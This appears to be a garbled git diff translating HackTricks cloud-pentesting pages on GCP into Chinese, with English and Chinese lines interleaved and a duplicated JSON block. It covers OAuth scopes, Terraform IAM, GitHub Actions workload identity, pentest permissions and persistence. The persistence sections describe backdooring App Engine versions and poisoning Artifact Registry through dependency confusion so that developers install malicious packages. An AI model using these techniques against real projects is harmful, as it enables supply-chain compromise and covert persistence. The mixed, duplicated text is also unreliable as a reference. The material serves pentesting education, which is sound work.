Access scope are **attached to generated OAuth tokens** to access the GCP API endpoints. They **restrict the permissions** of the OAuth token.\
|
||||
This means that if a token belongs to an Owner of a resource but doesn't have the in the token scope to access that resource, the token **cannot be used to (ab)use those privileges**.
|
||||
|
||||
Google actually [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that **access scopes are not used and to rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programmatically.
|
||||
|
||||
You can see what **scopes** are **assigned** by **querying:**
|
||||
谷歌实际上 [建议](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) **不使用访问范围,而完全依赖 IAM**。Web 管理门户实际上强制执行这一点,但访问范围仍然可以通过编程方式应用于使用自定义服务账户的实例。
|
||||
|
||||
您可以通过 **查询** 来查看 **分配的范围**:
|
||||
```bash
|
||||
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
|
||||
|
||||
{
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
之前的 **scopes** 是使用 **`gcloud`** 生成的 **default**。这是因为当你使用 **`gcloud`** 时,你首先创建一个 OAuth 令牌,然后用它来联系端点。
|
||||
|
||||
The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints.
|
||||
这些中最重要的 scope 可能是 **`cloud-platform`**,这基本上意味着可以 **访问 GCP 中的任何服务**。
|
||||
|
||||
The most important scope of those potentially is **`cloud-platform`**, which basically means that it's possible to **access any service in GCP**.
|
||||
|
||||
You can **find a list of** [**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like:
|
||||
你可以 **在这里找到** [**所有可能的 scopes 列表**](https://developers.google.com/identity/protocols/googlescopes)**。**
|
||||
|
||||
如果你有 **`gcloud`** 浏览器凭据,可以通过执行类似以下操作来 **获取其他 scopes 的令牌**:
|
||||
```bash
|
||||
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
|
||||
|
||||
@@ -213,22 +204,17 @@ gcloud auth application-default print-access-token
|
||||
|
||||
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
|
||||
```
|
||||
## **Terraform IAM 策略、绑定和成员资格**
|
||||
|
||||
## **Terraform IAM Policies, Bindings and Memberships**
|
||||
根据 terraform 在 [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) 中的定义,使用 terraform 与 GCP 有不同的方法来授予主体对资源的访问权限:
|
||||
|
||||
As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
|
||||
- **成员资格**:您将 **主体作为角色的成员** **没有对角色或主体的限制**。您可以将用户作为角色的成员,然后将组作为同一角色的成员,并且还可以将这些主体(用户和组)设置为其他角色的成员。
|
||||
- **绑定**:多个 **主体可以绑定到一个角色**。这些 **主体仍然可以绑定或成为其他角色的成员**。但是,如果一个未绑定到角色的主体被设置为 **绑定角色的成员**,下次 **绑定被应用时,成员资格将消失**。
|
||||
- **策略**:策略是 **权威的**,它指示角色和主体,然后 **这些主体不能有更多的角色,这些角色不能有更多的主体**,除非该策略被修改(即使在其他策略、绑定或成员资格中也不行)。因此,当在策略中指定角色或主体时,所有权限都被 **该策略限制**。显然,如果主体被赋予修改策略或权限提升权限的选项(例如创建新主体并将其绑定到新角色),则可以绕过此限制。
|
||||
|
||||
- **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
|
||||
- **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
|
||||
- **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,10 +6,9 @@
|
||||
|
||||
### GCP
|
||||
|
||||
In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
|
||||
|
||||
- **Create the Service Account** to access from github actions with the **desired permissions:**
|
||||
为了从Github repo向GCP **服务账户**提供**对Github Actions的访问**,需要以下步骤:
|
||||
|
||||
- **创建服务账户**以便从github actions访问,并赋予**所需权限:**
|
||||
```bash
|
||||
projectId=FIXME
|
||||
gcloud config set project $projectId
|
||||
@@ -24,134 +23,121 @@ gcloud services enable iamcredentials.googleapis.com
|
||||
# Give permissions to SA
|
||||
|
||||
gcloud projects add-iam-policy-binding $projectId \
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- Generate a **new workload identity pool**:
|
||||
|
||||
- 生成一个 **新的工作负载身份池**:
|
||||
```bash
|
||||
# Create a Workload Identity Pool
|
||||
poolName=wi-pool
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
|
||||
|
||||
- 生成一个新的 **workload identity pool OIDC provider**,该 **信任** github actions(在此场景中按组织/仓库名称):
|
||||
```bash
|
||||
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Finally, **allow the principal** from the provider to use a service principal:
|
||||
|
||||
- 最后,**允许提供者的主体**使用服务主体:
|
||||
```bash
|
||||
gitHubRepoName="repo-org/repo-name"
|
||||
gcloud iam service-accounts add-iam-policy-binding $saId \
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
|
||||
> 注意在前面的成员中,我们指定了 **`org-name/repo-name`** 作为能够访问服务账户的条件(其他使其 **更严格** 的参数,如分支,也可以使用)。
|
||||
>
|
||||
> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
|
||||
> 然而,也可以通过使用通配符创建提供者,**允许所有 github 访问** 服务账户,如下所示:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
|
||||
<pre class="language-bash"><code class="lang-bash"># 创建一个工作负载身份池
|
||||
poolName=wi-pool2
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="演示提供者" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
|
||||
<strong># CHECK THE WILDCARD
|
||||
<strong># 检查通配符
|
||||
</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
<strong> --member="principalSet://iam.googleapis.com/${poolId}/*"
|
||||
</strong></code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
|
||||
> It should be always something like this:
|
||||
> 在这种情况下,任何人都可以通过 github actions 访问服务账户,因此始终 **检查成员的定义** 是很重要的。\
|
||||
> 它应该始终是这样的:
|
||||
>
|
||||
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
|
||||
|
||||
### Github
|
||||
|
||||
Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
|
||||
|
||||
记得将 **`${providerId}`** 和 **`${saId}`** 更改为它们各自的值:
|
||||
```yaml
|
||||
name: Check GCP action
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
id-token: write
|
||||
|
||||
jobs:
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,54 +1,49 @@
|
||||
# GCP - Permissions for a Pentest
|
||||
|
||||
If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create:
|
||||
如果您想对 GCP 环境进行渗透测试,您需要请求足够的权限以**检查所有或大多数服务**在**GCP**中使用。理想情况下,您应该要求客户创建:
|
||||
|
||||
* **Create** a new **project**
|
||||
* **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**.
|
||||
* **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION
|
||||
* **Enable** the **APIs** mentioned later in this post in the created project
|
||||
|
||||
**Set of permissions** to use the tools proposed later:
|
||||
* **创建**一个新的**项目**
|
||||
* **在该项目中创建**一个**服务账户**(获取**json凭证**)或创建一个**新用户**。
|
||||
* **给予**该**服务账户**或**用户**在组织中提到的**角色**
|
||||
* **启用**在此帖子中提到的**API**在创建的项目中
|
||||
|
||||
**使用后面提到的工具所需的权限集**:
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
|
||||
APIs to enable (from starbase):
|
||||
|
||||
启用的API(来自starbase):
|
||||
```
|
||||
gcloud services enable \
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
```
|
||||
|
||||
## Individual tools permissions
|
||||
## 个人工具权限
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
|
||||
|
||||
```
|
||||
From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration
|
||||
|
||||
@@ -61,9 +56,7 @@ roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/secretmanager.viewer
|
||||
```
|
||||
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions)
|
||||
|
||||
```
|
||||
From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions
|
||||
|
||||
@@ -71,60 +64,56 @@ roles/Viewer
|
||||
roles/iam.securityReviewer
|
||||
roles/stackdriver.accounts.viewer
|
||||
```
|
||||
|
||||
### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration)
|
||||
|
||||
```
|
||||
From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration
|
||||
|
||||
includedPermissions:
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
```
|
||||
|
||||
### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
|
||||
### [地图绘制](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
```
|
||||
From https://lyft.github.io/cartography/modules/gcp/config.html
|
||||
|
||||
@@ -132,9 +121,7 @@ roles/iam.securityReviewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/resourcemanager.folderViewer
|
||||
```
|
||||
|
||||
### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md)
|
||||
|
||||
```
|
||||
From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
|
||||
|
||||
@@ -143,6 +130,3 @@ roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - 持久性
|
||||
|
||||
@@ -2,24 +2,20 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Keys
|
||||
## API 密钥
|
||||
|
||||
For more information about API Keys check:
|
||||
有关 API 密钥的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
### 创建新的 / 访问现有的
|
||||
|
||||
Check how to do this in:
|
||||
查看如何执行此操作:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
有关 App Engine 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify code
|
||||
### 修改代码
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
如果你能够修改正在运行的版本的代码或创建一个新的版本,你可以让它运行你的后门并保持持久性。
|
||||
|
||||
### Old version persistence
|
||||
### 旧版本持久性
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
**每个版本的网络应用程序都会运行**,如果你发现一个 App Engine 项目正在运行多个版本,你可以**创建一个新的**版本,包含你的**后门**代码,然后**创建一个新的合法**版本,这样最后一个版本是合法的,但也会有一个**后门版本正在运行**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+18
-22
@@ -4,43 +4,39 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
有关 Artifact Registry 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dependency Confusion
|
||||
### 依赖混淆
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
- 如果一个 **远程和一个标准** 的仓库 **在一个虚拟** 仓库中混合,并且一个包在两个仓库中都存在,会发生什么?
|
||||
- 使用 **在虚拟仓库中设置的最高优先级** 的那个
|
||||
- 如果 **优先级相同**:
|
||||
- 如果 **版本** 是 **相同的**,则使用 **在虚拟仓库中按字母顺序排列的策略名称** 第一个
|
||||
- 如果不是,则使用 **最高版本**
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
> 因此,如果远程仓库具有更高或相同的优先级,则可以在公共包注册表中 **滥用最高版本(依赖混淆)**
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
此技术对于 **持久性** 和 **未经身份验证的访问** 非常有用,因为滥用它只需 **知道存储在 Artifact Registry 中的库名称** 并 **在公共仓库(例如 Python 的 PyPi)中创建相同的库**,并使用更高的版本。
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
对于持久性,您需要遵循以下步骤:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
- **要求**:必须 **存在** 一个 **虚拟仓库** 并被使用,必须使用一个 **名称** 在 **公共仓库** 中不存在的 **内部包**。
|
||||
- 如果不存在,则创建一个远程仓库
|
||||
- 将远程仓库添加到虚拟仓库
|
||||
- 编辑虚拟注册表的策略,以给予远程仓库更高(或相同)的优先级。\
|
||||
运行类似以下命令:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- 下载合法包,添加您的恶意代码,并以相同版本在公共仓库中注册。每次开发者安装它时,他将安装您的版本!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
有关依赖混淆的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# GCP - BigQuery Persistence
|
||||
# GCP - BigQuery 持久性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
有关 BigQuery 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant further access
|
||||
### 授予进一步访问权限
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
向被攻陷用户或外部用户授予对数据集、表、行和列的进一步访问权限。检查所需的权限以及如何在页面中执行此操作:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+4
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
有关 Cloud Functions 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,12 +12,8 @@ For more info about Cloud Functions check:
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
